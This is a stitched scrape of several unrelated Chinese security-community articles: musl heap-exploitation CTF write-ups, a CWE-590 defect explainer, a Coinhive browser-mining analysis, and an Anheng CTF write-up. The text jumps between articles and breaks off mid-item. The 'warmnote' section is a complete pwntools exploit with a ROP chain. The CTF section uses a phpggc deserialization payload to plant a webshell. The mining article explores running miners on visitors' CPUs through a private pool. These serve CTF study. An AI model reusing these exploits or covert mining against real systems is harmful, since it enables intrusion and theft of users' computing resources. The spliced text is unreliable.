payload = payload.ljust(0x100-0x20,'\x00')
payload += rop
payload = payload.ljust(0x1000-0x20,'\x00')
payload += p64(secret)+p64(fake_stdout_ptr)+p64(fake_stdout_used)+p64(fake_mem)
payload += p32(0x7e)+p32(0)
freeable = 1
maplen = 1
sizeclass = 1
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
payload +=p64(last_value)+p64(0)
add(10,0x2000,payload)
print hex(magic_gadget)
gdb.attach(sh)
delete(6)
ti()
## RCTF_warmnote
musl 1.2.2，释放堆块时只对管理chunk进行了memset，没有对内容chunk清空。
泄露：
利用内容块残留内容填\0可以leak libc。（这里对musl管理方式每个meta的group中最多有多少slat还不太清楚，再看一下源码）
利用后门leak secret。
利用：
伪造meta，通过unqueque劫持stdout_used，伪造stdout_File结构体（劫持f->write指针为gadgets栈迁移）
musl 1.2.2常用gadgets
gadgets:
0x7f0d63e025ae <longjmp+30>: mov rsp,QWORD PTR [rdi+0x30]
0x7f0d63e025b2 <longjmp+34>: jmp QWORD PTR [rdi+0x38]
程序流程：
exit -> __stdio_exit_needed -> close_file -> gadgets -> ropchain
exp:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
def add(sz,t='b\n',c='a\n'):
sla('>> ','1')
sla('Size: ',str(sz))
sa('Title: ',t)
sa('Note: ',c)
def show(idx):
sla('>> ','2')
sla('Index: ',str(idx))
def delete(idx):
sla('>> ','3')
sla('Index: ',str(idx))
def edit(idx,c):
sla('>> ','4')
sla('Index: ',str(idx))
sa('Note: ',c)
def dbg(addr):
gdb.attach(sh,'b *$rebase({})\nc\n'.format(addr))
def bkdoor(addr):
sla('>> ','666')
sla('[IN]: ',str(addr))
sh = process(['./libc.so','./warmnote'])
for i in range(3):
add(0x30,'a'*0x10,'a'*0x30)
delete(0)
delete(1)
add(0x30,'a'*0x10)
add(0x150,'a'*0x10)
show(1)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x298d20
ctx = libc_base + 0x295ae0
fake_meta_addr = libc_base + 0x28d000 + 0x1000+8
fake_stdout_used = libc_base+0x295450
#fake_mem = libc_base +
magic_gadget = libc_base + 0x000000000004a5ae
poprdiraxret = libc_base + 0x000000000007144e
poprsiret = libc_base + 0x000000000001b27a
poprdxret = libc_base + 0x0000000000009328
syscallret = libc_base + 0x0000000000023711
ret = libc_base + 0x000000000001689b
rop_addr = libc_base + 0x28d000+0x100
flag_addr = rop_addr - 0x100 + 0x20
stdout_used_ptr = libc_base + 0x28d000+0x50
bkdoor(ctx)
ru('[OUT]: ')
secret = u64(rc(8))
print hex(secret)
delete(0)
delete(1)
add(0x38)
add(0x38)
rop = p64(poprdiraxret)+p64(flag_addr)+p64(2)
rop +=p64(poprsiret)+p64(0)+p64(syscallret)
#read(fd,buf,size)
rop +=p64(poprdiraxret)+p64(3)+p64(0)
rop +=p64(poprsiret)+p64(flag_addr+0x600)
rop +=p64(poprdxret)+p64(0x30)+p64(syscallret)
#write(1,buf,size)
rop +=p64(poprdiraxret)+p64(1)+p64(1)
rop +=p64(poprsiret)+p64(flag_addr+0x600)
rop +=p64(poprdxret)+p64(0x30)+p64(syscallret)
edit(1,'\x41'*0x30+p64(fake_meta_addr))
payload = './flag'.ljust(0x30,'\x00')
payload += '\x00'*0x30 + p64(rop_addr) + p64(ret) + p64(0)+p64(magic_gadget)
payload = payload.ljust(0x100-0x20,'\x00')
payload += rop
payload = payload.ljust(0x1000-0x20,'\x00')
payload += p64(secret)+p64(stdout_used_ptr) + p64(fake_stdout_used)+p64(libc_base-0x1a0)+p32(0x7e)+p32(0)
freeable = 1
maplen = 1
sizeclass = 4
last_idx = 6
last_value = last_idx | (freeable << 5) | (sizeclass << 6) | (maplen << 12)
payload += p64(last_value) + p64(0)+'\n'
add(0x2000,'a\n',payload)
print hex(libc_base)
# hijack __stdout_used
delete(0)
# exit -> __stdio_exit_needed -> close_file -> gadgets -> ropchain
sla('>> ','5')
ti()
## 总结
Musl作为一个轻量级的libc库，相对来说学习成本比较低，如果仅仅是为了解决当前比赛中的Musl
pwn很快就能上手，但是分析源码和调试漏洞的过程中收获还是很多的。
这个过程中借鉴了很多师傅的经验，受益匪浅，也少走了很多弯路。
## 参考
<https://niebelungen-d.top/2021/08/22/Musl-libc-Pwn-Learning/>
Musl 1.1.24 分析
<https://www.anquanke.com/post/id/246929>
Musl 1.2.2 详解
<https://f5.pm/go-76812.html>
Musl 1.2.2中size_class映射关系 | 社区文章 |
# 【缺陷周话】第22期：错误的内存释放对象
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、错误的内存释放对象
C/C++程序内存分配方式有三种：
> （1）静态存储区域分配，静态存储区域主要存放全局变量、static变量，这部分内存在程序编译时已经进行分配且在程序的整个运行期间不会被回收。
>
> （2）栈上分配，由编译器自动分配，用于存放函数的参数值、局部变量等，函数执行结束时这些存储单元自动被释放，需要注意的是alloca()是向栈申请内存的。
>
> （3）堆上分配，也就是动态分配的内存，动态分配的内存是由程序员负责释放的。
上述三种情况，只有第（3）种情况是需要程序员手动进行释放，如果对（1）和（2）非动态分配的内存进行释放，则会导致错误的内存释放对象问题。
本篇文章分析错误的内存释放对象产生的原因以及修复方法。 详细请参见 CWE-590: Free of Memory not on the Heap
(3.2)。
## 2、 错误的内存释放对象的危害
通过对错误的内存释放对象原理的分析，释放非动态分配的内存会导致程序的内存数据结构损坏，从而导致程序崩溃或拒绝服务攻击，在某些情况下，攻击者可以利用这个漏洞修改关键程序变量或执行恶意代码。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年2月，CVE中就有9条相关漏洞信息。漏洞信息如下：
CVE 编号 | 概述
---|---
CVE-2018-7554 | sam2p 0.49.4 之前版本中的 input-bmp.ci 文件的 ‘ReadImage’
函数存在安全漏洞。攻击者可借助特制的输入利用该漏洞造成拒绝服务（无效释放和段错误）。
CVE-2018-7552 | sam2p 0.49.4 版本中的 mapping.cpp 文件的 ‘Mapping::DoubleHash::clear’
函数存在安全漏洞。攻击者可借助特制的输入利用该漏洞造成拒绝服务（无效释放和段错误）。
CVE-2018-7551 | sam2p 0.49.4 版本中的 minips.cpp 文件的 ‘MiniPS::delete0’
函数存在安全漏洞。攻击者可借助特制的输入利用该漏洞造成拒绝服务（无效释放和段错误）。
CVE-2018-15857 | xkbcommon 0.8.1 之前版本中的 xkbcomp/ast-build.c 文件的
‘ExprAppendMultiKeysymList’ 函数存在无效释放漏洞。本地攻击者可通过提交特制的keymap 文件利用该漏洞造成 xkbcommon
解析器崩溃。
## 3、示例代码
示例源于 Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE590_Free_Memory_Not_on_Heap__delete_array_char_alloca_01.cpp。
### 3.1缺陷代码
在上述示例代码中，第32行使用 alloca() 函数申请内存，在第39行使用 delete 进行释放，由于 alloca()
函数申请的内存在栈上，无需手动释放，因此存在“错误的内存释放对象”问题。
使用360代码卫士对上述示例代码进行检测，可以检出“错误的内存释放对象”缺陷，显示等级为高。如图1所示：
图1：“错误的内存释放对象”的检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为： 在第33行通过 new[] 动态分配内存，并在第40行使用 delete[]
进行释放。从而避免了错误的内存释放对象。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“错误的内存释放对象”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免错误的内存释放对象
要避免错误的内存释放对象，需要注意以下几点：
> （1）不要对非动态分配的内存进行手动释放；
>
> （2）当程序结构复杂时（如条件分支较多），进行释放时需要确认释放的内存是否只来自于动态分配；
>
> （3）明确一些函数的实现，如 alloc() 申请的内存在栈上，避免由于不清楚函数实现导致错误的内存释放。
>
> （4）realloc() 函数的原型为 void*realloc(void*ptr,size_tsize)，其中第一个参数 ptr
> 为指针指向一个要重新分配内存的内存块，该内存块是通过调用 malloc、 calloc 或 realloc 进行分配内存的。如果向 realloc()
> 提供一个指向非动态内存分配函数分配的指针时，也会导致程序未定义行为，在使用时也需要额外注意。 | 社区文章 |
## 引言
虽然“前端挖矿脚本”是近一个月才从业内报告中进入公众视野的词汇，但在“一棒子打死”型各大媒体站的“详细分析”下，我看到满是“黑客恶意植入”、“占用CPU”、“非法牟利”等负面评价的所谓“分析”和传说中的可笑“查杀检查方法”，鲜有对此技术从各层面分析和冷静判断的文章或者新闻，这么好一个转换流量变现，或者说用来进行机器人验证的“硬算力”方式，却被直接贴上“非法”标签，对于做技术和饱含极客精神的人们，真是不友好。。
于是你现在看到的，就是我这个“为前端技术和匿名算法叫冤”的“和事老”，从一个更有趣的角度，以较为通俗的语言、尽量全面的解析、外加合理改造和白利用姿势，用来“科普”的一篇赚稿费的“水文”。
## 词汇解释
>
> 区块链：分布式数据存储、P2P传输、共识机制、加密算法等计算机技术的新型应用模式。其中共识机制指区块链系统中实现不同节点之间建立信任、获取权益的数学算法。（理解为你工作的绩效评定方法）
>
> 钱包：用来记录个人用户电子货币资产、操作交易、用于收发货币的一个"hash"地址。（理解为汇款地址或者你的工资卡吧）
>
> 矿池：相关电子货币根据区块链，同一分配“生产”任务的发布平台，同时也是算力效验的对接平台。（理解为你的工作单位）
>
> 挖矿：此处指利用设备算力按特定电子货币生产计算方法和矿池分配方式产生的经济价值。（理解为努力工作的这个行为）
>
>
> 前端挖矿：从挖矿技术来说，是没有前后端的，此处前端也是指的浏览器前端，而本文前端挖矿，就是说“浏览器内实现、通过用户访问实施挖矿”的一种方式。（理解成工作偷懒让别人干活的方式吧
> ⁄(⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄ ）
（抱歉如果文章里还有不懂却未提到的请自行网上查询）
## 概念分析
在进入正题的时候我们必须理解一个概念，那就是正常挖矿和前端挖矿的区别，技术，以及意义。
金镐子银镐子，挖矿方便才是好镐子！ :)
区别：
> 一般挖矿：用户以主动方式，直接使用C或者其他语言构造的miner客户端进行CPU或GPU计算，得到算力价值。
>
> 前端挖矿：用户以被动（或主动）方式，在不知情（或知情）情况下，由浏览者产生的CPU或GPU计算，得到算力价值。
技术：
> 一般挖矿：利用CPU或GPU本身的高速浮点计算能力，进行挖矿工作。而一般挖矿选取有更优秀浮点计算能力的GPU进行操作。
>
>
> 前端挖矿：利用asm.js或webAssembly前端解析器中介，在浏览器端被动使用用户的CPU完成挖矿，或者利用Html5新规范WebGL利用浏览器完成GPU挖矿操作。
意义：
>
> 一般挖矿：从行为和实现方式看，是一种主动在自己设备完成的挖矿行为（排除非法控制他人设备情况），c实现的工具直接使用OS的底层驱动和接口，无论操作内存、CPU或GPU，流程损耗低计算速度更快。
>
>
> 前端挖矿：从行为和实现方式看，可以是一种以被动方式在其他用户浏览到某网页情况下，在非己设备上发生的挖矿行为，通过将算力任务分担给其他浏览用户，来实现“分布式”计算（其实更应该叫，利用多设备优势，提高单一时间内，单目标多任务并发能力）
## Coinhive脚本分析
关键字： `WebSocket` / `worker` / `asm.js` / `WebAssembly`
传送门：[coinhive.min.js](https://coinhive.com/lib/coinhive.min.js)
https://coinhive.com/lib/
.
|—— coinhive.min.js // wss矿池通信，分配worker，交互实现
| :.. (CoinHive.CONFIG.WEBSOCKET_SHARDS) // WebSocket地址，连接pool进行任务发布等功能
| :.. (CoinHive.CRYPTONIGHT_WORKER_BLOB) // 以CreateURL形式动态生成Blob链接，对worker内容实现
|—— cryptonight.wasm // WebAssembly实现，预计源cryptonight.c & keccak.c 等
|—— cryptonight-asmjs.min.js // 兼容方案asmjs实现，内容worker除外从L4851算法开始
|__ cryptonight-asmjs.min.js.mem // 浏览器中asmjs所需模拟内存实现
通过阅读脚本，可以在Blob构造的worker实例（下文中称worker.js）看到如下对运行平台的判断：
worker.js ( L21 .. L50 )
var Module;
if (!Module) Module = (typeof Module !== "undefined" ? Module : null) || {};
var moduleOverrides = {};
for (var key in Module) {
if (Module.hasOwnProperty(key)) {
moduleOverrides[key] = Module[key]
}
}
var ENVIRONMENT_IS_WEB = false;
var ENVIRONMENT_IS_WORKER = false;
var ENVIRONMENT_IS_NODE = false;
var ENVIRONMENT_IS_SHELL = false;
if (Module["ENVIRONMENT"]) {
if (Module["ENVIRONMENT"] === "WEB") {
ENVIRONMENT_IS_WEB = true
} else if (Module["ENVIRONMENT"] === "WORKER") {
ENVIRONMENT_IS_WORKER = true
} else if (Module["ENVIRONMENT"] === "NODE") {
ENVIRONMENT_IS_NODE = true
} else if (Module["ENVIRONMENT"] === "SHELL") {
ENVIRONMENT_IS_SHELL = true
} else {
throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")
}
} else {
ENVIRONMENT_IS_WEB = typeof window === "object";
ENVIRONMENT_IS_WORKER = typeof importScripts === "function";
ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER;
ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER
}
看来其实coinhive支持包括本地挖矿的其他兼容方式，野心不小呀。
再来看实现过程对兼容性的处理:
worker.js ( L1169 .. L1179 )
function integrateWasmJS(Module) {
var method = Module["wasmJSMethod"] || "native-wasm";
Module["wasmJSMethod"] = method;
var wasmTextFile = Module["wasmTextFile"] || "cryptonight.wast";
var wasmBinaryFile = Module["wasmBinaryFile"] || "cryptonight.wasm";
var asmjsCodeFile = Module["asmjsCodeFile"] || "cryptonight.temp.asm.js";
if (typeof Module["locateFile"] === "function") {
wasmTextFile = Module["locateFile"](wasmTextFile);
wasmBinaryFile = Module["locateFile"](wasmBinaryFile);
asmjsCodeFile = Module["locateFile"](asmjsCodeFile)
}
从容地概括本地挖矿和浏览器内前端挖矿，并对不同浏览器对WebAssembly的支持情况进行兼容。
cryptonight.wasm & cryptonight-asmjs.min.js
我知道怎么从file.c转化成file.wasm或者file.asm.js，但是你让我挑出来给你分析这俩文件的内容？
你自己去下下来看看你就知道为什么本文不做分析了…… :)
但是如果非要问，我可以告诉你文件主要就是cryptonight算法的实现，和一般Miner并无两样，只是参数传入传出方式由前端方式二次构造。
目测来源项目：ccminer 或 stak CPU miner
example1： https://github.com/tsiv/ccminer-cryptonight/tree/master/crypto
example2： https://github.com/jquesnelle/xmr-stak-cpu/tree/master/crypto
对于worker队列内的一些实现，你也可以跟我一起过一遍他们的代码，目前看来虽然并未提起开源，但也还不是webpack打包的js，函数名没有替换流程也相对清晰，一步步看下来你也能说出个大概。
听人千言不如亲眼所见，一定要养成强迫自己阅读别人代码，并记录他人书写中优美片段的好习惯。
如果你还非得要我分析算法构成？真巧，我研究的时候顺便翻译了一下CryptoNight的白皮书，Mark在Freebuf今后自己回头来学习。
## CryptoNight 文档
### 概要
CryptoNote Standards 介绍了一种点对点的匿名支付系统，本文档是 CryptoNote Standards 的一部分，定义了
CryptoNote 的缺省工作量证明散列函数，CryptoNight。
### 版权及授权说明
版权所有（c）2013 CryptoNote。 本文档可在知识共享署名3.0许可证（国际）许可权限范围内查询。
许可副本 ：<http://creativecommons.org/licenses/by/3.0/>
### 目录
1. 算法介绍
2. 名词解释
3. 初始化流程
4. 内存处理流程
5. 结果计算流程
6. 参考内容
### 1.算法介绍
CryptoNight是一个使用物理内存的高强度hash算法函数。
它的设计适用于GPU，FPGA和ASIC架构上的有效性算力。流程的第一步是初始化大型暂存器与伪随机数据；下一步是算法对暂存器中包含伪随机地址的大量的读/写计算操作；最后一步是将整个暂存器的hash值进行hash效验，验证本次计算产生的价值。
### 2\. 算法定义
hash函数：映射数据的有效计算函数，对于固定大小的数据、构造特定算法行为，产生类似随机数结果
暂存器：在算法过程中，申请用于存储计算时中间值的部分内存
### 3\. 初始化流程
首先，使用参数 `b = 1600` 和 `c = 512` .对输入内容进行Keccak计算 [ KECCAK
]。计算结果的0..31字节用作AES-256密钥[AES]，并扩展为10个循环密钥；申请一个分配了2097152字节（2
MB）空间的暂存器；从计算结果的64..191字节处，提取出来数据并分割成8个块，每个块16字节。使用以下步骤对每个块进行加密：
for i = 0..9 do:
block = aes_round(block, round_keys[i])
`aes_round()` 函数执行一轮AES加密，对本块执行 `SubBytes` ，`ShiftRows` 和 `MixColumns`
步骤，其结果与round_key进行异或运算。但这不同于AES加密算法，第一轮计算和最后一轮计算没什么不同。
一轮下来得到的计算结果，写入暂存器的前128个字节，然后这些结果再次代入加密循环，再把这次循环结果写入暂存器的第二个128字节里。这里每次往暂存器里写入下一个128字节，都代表对先前写入的128字节内容在新一轮加密的结果。流程一直循环，直到暂存器写满。至此，一次算法的初始化就完成了。
该图表示暂存器初始化：
+-----+
|Input|
+-----+
|
V
+--------+
| Keccak |
+--------+
|
V
+-------------------------------------------------------------+
| Final state |
+-------------+--------------+---------------+----------------+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+-------------+--------------+---------------+----------------+
| |
V |
+-------------+ V
| Round key 0 |------------+---+->+-----+
+-------------+ | | | |
| . | | | | |
| . | | | | AES |
| . | | | | |
+-------------+ | | | |
| Round key 9 |----------+-|-+-|->+-----+ +---+
+-------------+ | | | | | | |
| | | | +------------------->| |
| | | | | | |
| | | | V | |
| | | +->+-----+ | |
| | | | | | S |
| | | | | | |
| | | | AES | | c |
| | | | | | |
| | | | | | r |
| | +--->+-----+ | |
| | | | a |
| | +------------------->| |
| | . | t |
| | . | |
| | . | c |
| | +------------------->| |
| | | | h |
| | V | |
| +----->+-----+ | p |
| | | | |
| | | | a |
| | AES | | |
| | | | d |
| | | | |
+------->+-----+ | |
| | |
+------------------->| |
| |
+---+
### 4\. 内存处理流程
在主循环之前，对输入内容进行Keccak计算后取0..31字节和32..63字节进行异或，所得到的32字节结果用于初始化，变量a和b分别各占16字节，这两个变量将用于主循环，主循环进行524,288次迭代，当一个16字节值需要转换成暂存器中的一个地址，将以低字节顺序压入内存，21位低字节用作索引，但是索引中的4个低字节将被清除，以确保地址索引统一16字节对齐。
数据从16字节块中读取并写入暂存器。
迭代流程伪代码：
scratchpad_address = to_scratchpad_address(a)
scratchpad[scratchpad_address] = aes_round(scratchpad [scratchpad_address], a)
b, scratchpad[scratchpad_address] = scratchpad[scratchpad_address],
b xor scratchpad[scratchpad_address]
scratchpad_address = to_scratchpad_address(b)
a = 8byte_add(a, 8byte_mul(b, scratchpad[scratchpad_address]))
a, scratchpad[scratchpad_address] = a xor scratchpad[scratchpad_address], a
`8byte_add()` 函数将每个参数表示为一对64位低位值，并将它们组合在一起，以分量形式进行快速模除 2 ^ 64。 其结果返回16字节。
`8byte_mul()` 函数仅使用每个参数的前8个字节，并分别解析为无符号64位低位字节整数，并相乘。
其结果返回16字节，最后，结果分半，两边的8字节相互交换。
内存处理流程图：
+-------------------------------------------------------------+
| Final state |
+-------------+--------------+---------------+----------------+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+-------------+--------------+---------------+----------------+
| |
| +-----+ |
+-->| XOR |<--+
+-----+
| |
+----+ +----+
| |
V V
+---+ +---+
| a | | b |
+---+ +---+
| |
--------------------- REPEAT 524288 TIMES --------------------- | | address +---+
+-------------|----------------------------------->| |
| +-----+ | read | |
+-->| AES |<--|------------------------------------| |
| +-----+ V | |
| | +-----+ | S |
| +-->| XOR | | |
| | +-----+ write | c |
| | | +------------------------------>| |
| | +----+ address | r |
| +------------------------------------------>| |
| | +-----------+ read | a |
| +->| 8byte_mul |<--+------------------------| |
| | +-----------+ | | t |
| | | | | |
| | V | | c |
| | +-----------+ | | |
+------|->| 8byte_add | | | h |
| +-----------+ | | |
| | | write | p |
| +---------|----------------------->| |
| | | | a |
| V | | |
| +-----+ | | d |
| | XOR |<-----+ | |
| +-----+ | |
+------+ | | |
+-------------|-+ | |
| | +---+
-------------------------- END REPEAT ------------------------- | |
### 5\. 结果计算流程
在内存操作完成之后，使用与第一步骤（初始化步骤）分相同的方式，进行Keccak计算，最终结果的32..63字节被扩展成10个AES循环密钥。
从Keccak结果里提取64..191字节，并与暂存器里前128个字节进行异或运算。然后结果以与第一步（初始化步骤）使用相同的方式进行加密，但是使用新的密钥。结果继续与暂存器中的第二个128个字节进行异或运算，依次循环加密迭代。
在暂存器的最后128个字节进行异或运算后，就是流程的最后一次加密，完成后将原本Keccak结果的64..191字节内容，替换为本次加密内容。然后，以b =
1600对整个块内容进行Keccak-f（Keccak排列）。
然后，结果中第一个字节的2个低位比特，用于进行散列函数运算：`0 = BLAKE-256 [BLAKE]，1 = Groestl-256
[GROESTL]，2 = JH-256 [JH] 3 = Skein-256
[SKEIN]`。最后将所选的散列函数应用于Keccak最终结果，生成的散列就是CryptoNight算法的计算输出。
结果计算流程图：
+-------------------------------------------------------------+
| Final state |
+-------------+--------------+---------------+----------------+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+-------------+--------------+---------------+----------------+
| | | |
| +--------+ | |
| V | | |
|+-------------+ | | |
|| Round key 0 |-|---+---+ | |
|+-------------+ | | | | |
|| . | | | | | |
|| . | | | | | |
|| . | | | | | |
|+-------------+ | | | | |
+---+ || Round key 9 |-|-+-|-+ | V |
| | |+-------------+ | | | | | +-----+ |
| |-|----------------|-|-|-|-|->| XOR | |
| | | | | | | | +-----+ |
| S | | | | | | | | |
| | | | | | | | V |
| c | | | | | | +->+-----+ |
| | | | | | | | | |
| r | | | | | | | | |
| | | | | | | | AES | |
| a | | | | | | | | |
| | | | | | | | | |
| t | | | | | +--->+-----+ |
| | | | | | | |
| c | | | | | V |
| | | | | | +-----+ |
| h |-|----------------|-|-|----->| XOR | |
| | | | | | +-----+ |
| p | | | | | | |
| | | | | | . |
| a | | | | | . |
| | | | | | . |
| d | | | | | | |
| | | | | | V |
| | | | | | +-----+ |
| |-|----------------|-|-|----->| XOR | |
| | | | | | +-----+ |
+---+ | | | | | |
| | | | V |
| | | +----->+-----+ |
| | | | | |
| | | | | |
| | | | AES | |
| | | | | |
| | | | | |
| | +------->+-----+ |
| | | |
V V V V
+-------------+--------------+---------------+----------------+
| Bytes 0..31 | Bytes 32..63 | Bytes 64..191 | Bytes 192..199 |
+-------------+--------------+---------------+----------------+
| Modified state |
+-------------------------------------------------------------+
|
V
+----------+
| Keccak-f |
+----------+
| |
+-----------+ |
| |
V V
+-------------+ +-------------+
| Select hash |->| Chosen hash |
+-------------+ +-------------+
|
V
+--------------+
| Final result |
+--------------+
计算结果举例：
Empty string:
eb14e8a833fac6fe9a43b57b336789c46ffe93f2868452240720607b14387e11.
"This is a test":
a084f01d1437a09c6985401b60d43554ae105802c5f5d8a9b3253649c0be6605.
白皮书里头涉及的算法在example里两个Miner项目中都有c实现。
可见此Coinhive脚本中XMR挖矿算法(cryptonight)就是靠一下任意一个形式实现的对C书写的算法的封装了。
1. `wasmBinaryFile => (cryptonight.wasm)`
2. `asmjsCodeFile => (cryptonight-asmjs.min.js)`
`asm.js` 和 `WebAssembly`
如何将C代码转为可执行的javascript文件，抱歉这一下子根本就讲不清楚，所以大家只需要知道这两项技术旨在提升浏览器内执行效率的类似“汇编”方式的实现快速运算的解决方案就可以了。
脚本里使用它，其一，目的是解决javascript内浮点运算等在弱类语言难以高效率执行的问题。其二，两个框架将已有的成型miner所用算法实例c语言脚本直接转换成js模拟的脚本，大大缩短了开发周期。可谓两全其美。
可供转换使用的工具有 [Emscripten](http://kripken.github.io/emscripten-site/) 、
[binaryen](https://github.com/WebAssembly/binaryen) 、
[WABT](https://github.com/WebAssembly/wabt) 等。
两个框架的介绍就不详细谢了，具体DOC和介绍按需去他们官网搜吧 :)
简评一下两者区别：
> `asm.js 框架` 可以由手写方式字符串书写，拥有极大的可读性，用于计算类的实现，性能也达到同样C脚本2/3效率。
>
> `WebAssembly 框架` 而是以由c语言脚本书写，再通过编译成中间件file.wasm的Buffer形式实现，因此执行更加高效。
## PoolSocket & WebSocket 流程差异分析
要我去翻看Miner的源码，我是懒得一段段跟进去看了……所以我们直接抓包看看client与server到底在说些什么吧。
PoolSocket:
client >>
{
"method": "login",
"params": {
"login": "********** [ Wallet Addr ] **********",
"pass": "",
"agent": "xmr-stak-cpu/1.3.0-1.5.0"
},
"id": 1
}
server <<
{
"id": 1,
"jsonrpc": "2.0",
"error": null,
"result": {
"id": "811233385116793",
"job": {
"blob": "0606e498c5ce057326423f235dcd67dec07d9cb79e3506da8b35198e7debb40be3cbc2326c1999000000008bad7c9d5b78e9c9693903e817d20c09befe2c72ee6d20f297c0026d9a6e492406",
"job_id": "664084446453489",
"target": "711b0d00"
},
"status": "OK"
}
}
client >>
{
"method": "submit",
"params": {
"id": "811233385116793",
"job_id": "664084446453489",
"nonce": "11018000",
"result": "0e9b264a2a225cbbdc520b1fbef207a12e092c23325b7667c27bd0d95a590c00"
},
"id": 1
}
server <<
{
"id": 1,
"jsonrpc": "2.0",
"error": null,
"result": {
"status": "OK"
}
}
server <<
{
"jsonrpc": "2.0",
"method": "job",
"params": {
"blob": "0606e498c5ce057326423f235dcd67dec07d9cb79e3506da8b35198e7debb40be3cbc2326c199900000000253addee86a405a4553dee713dabb28bd5cbb5a6556ddb332ad46ffdcf0c073a06",
"job_id": "183626817283220",
"target": "58dd0700"
}
}
.
.
.
WebSocket:
web >>
{
"type": "auth",
"params": {
"site_key": "******* [ siteKey ] *******",
"type": "anonymous",
"user": null,
"goal": 0
}
}
srv <<
{
"type": "authed",
"params": {
"token": "",
"hashes": 0
}
}
{
"type": "job",
"params": {
"job_id": "931350207026116",
"blob": "0606ffbddece05a1e21456e45a3ca88d8e0ff2f299568aecc5db053f08e04774cdfba60d0ae4db000000003d710b3b5444505391ba01b634f94d72915bda5a7999499f40f62e3046b254b403",
"target": "ffffff00"
}
}
web >>
{
"type": "submit",
"params": {
"job_id": "931350207026116",
"nonce": "197aae72",
"result": "6d9a8c2da95bcd498a4056631f1a03b51f2d6806b1c6d44e4f45fd9878b6eb00"
}
}
srv <<
{
"type": "hash_accepted",
"params": {
"hashes": 256
}
}
web >>
{
"type": "submit",
"params": {
"job_id": "931350207026116",
"nonce": "edd815a0",
"result": "ca182b3086f441510397d67b2323014d201aa14b89b6c1fcf59759794540a900"
}
}
srv <<
{
"type": "hash_accepted",
"params": {
"hashes": 512
}
}
web >>
{
"type": "submit",
"params": {
"job_id": "931350207026116",
"nonce": "6e791848",
"result": "9fec44bc7d338b5e114e138ee902066ba8d6a2a0e4c0b6090fa94571eca54900"
}
}
srv <<
{
"type": "hash_accepted",
"params": {
"hashes": 768
}
}
.
.
.
通过 `Socket_dump` 内容不难看出：
> 1. 其实输入输出都是那几个量，验证登录 Wallet(siteKey)，获取jobs，开始计算，返回计算值，由Pool确认算力价值。
>
> 2. 所有的 `method` 变成了 `type`, `params` 内容基本原样传递，`result` 根据流程有所变化。
>
>
看过 `coinhive.min.js` 我们目前大致知道了：
> 1. 脚本通过浏览器端asm实现方式，以尽可能高的效率完成复杂的CPU计算，实现XMR挖矿。
>
> 2. 因为web端无法直接进行Socket通信，所以需要用 `WebSocket` 与矿池通信。
>
>
由以上内容和对wss流量的解析，看出Pool连接流量中最大的变化主要在json内容构造上，而核心的领取jobs、计算hash、提交到pool、确认hash有效四个步骤，实际内容与一般Miner并无根本差异，只是由`JsonRPC2.0`变更为适应前端的长连接类型`WebSocket`而已。
既然浏览器里的CryptoNight算法已经实现，那么改造起来就hin方便辣！我们只需要自己构造Pool或者构造PoolProxy接管所有的操作，就能完全从Coinhive平台跳出来，直接为自己的Wallet挖矿，免去使用平台而损失的30%手续费。
而用算力替代网站内的广告，在控制对CPU占用情况下不对用户造成卡顿，同时避免在自己网站停放广告导致用户厌烦的情况下，赚取用来维护网站的“零花钱”，感觉也是一个更好的发展方向。
## 脚本改造&Pool搭建
Coinhive手续就是高！广告联盟弹框就是飘！
要不是30%手续费让我心如刀割，说不定我就老老实实用Coinhive现成的脚本了，不会有这篇文章了吧！
开个玩笑……
黑客意识哪来？极客情怀何在？众矢之的，打倒虚拟货币资本主义构造属于自己的前端矿池服务器，刻不容缓！
但是！都写了这么长了，各位看官或许也审美疲劳了，那么在下一篇文章中我们再详细来聊聊，如何构造属于自己的前端挖矿PoolProxy~
（Emmmm……）
（好像那篇说Webshell的第二篇文章……也忘了写了……下回一同补档……）
（预习班：来自学一下demo，再养成阅读无注释源码的习惯吧！）
github: <https://github.com/deepwn/deepMiner> | 社区文章 |
# 2019安恒2月月赛Writeip-Web&Crypto&Misc
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
周末叕刷了安恒月赛，以下是Web&Crypto&Misc题解记录
## Web
### babycms
打开题目，发现是Yii2框架写的平台，首先进行信息搜集，得到源码泄露
101.71.29.5:10015/web.zip
审计代码，发现`/views/medicine/view.php`存在反序列化操作
寻找可利用类，查看composer.json，发现存在RCE漏洞组件
利用phpggc，可以看到有对应版本的攻击
查看文件运行路径
尝试文件目录
/var/www/html/runtime
直接使用
phpggc SwiftMailer/FW3 /var/www/html/runtime/sky.php ~/Desktop/sky.php -b
得到payload
同时发现登录密码
登入后，即可使用payload getshell拿到flag
## Misc
### 来玩个游戏吧
第一关一看就知道是盲文加密
使用在线网站解密
<https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen>
⠏⠏⠄⠁⠄⠀⠂⡑⡒⡓⠄⡒⠂⡑⠇⠆⡒⠉⠇⠁⠉⡔⠉⠁⠁⠀⠁⠇⡓⠅⠉⠂=
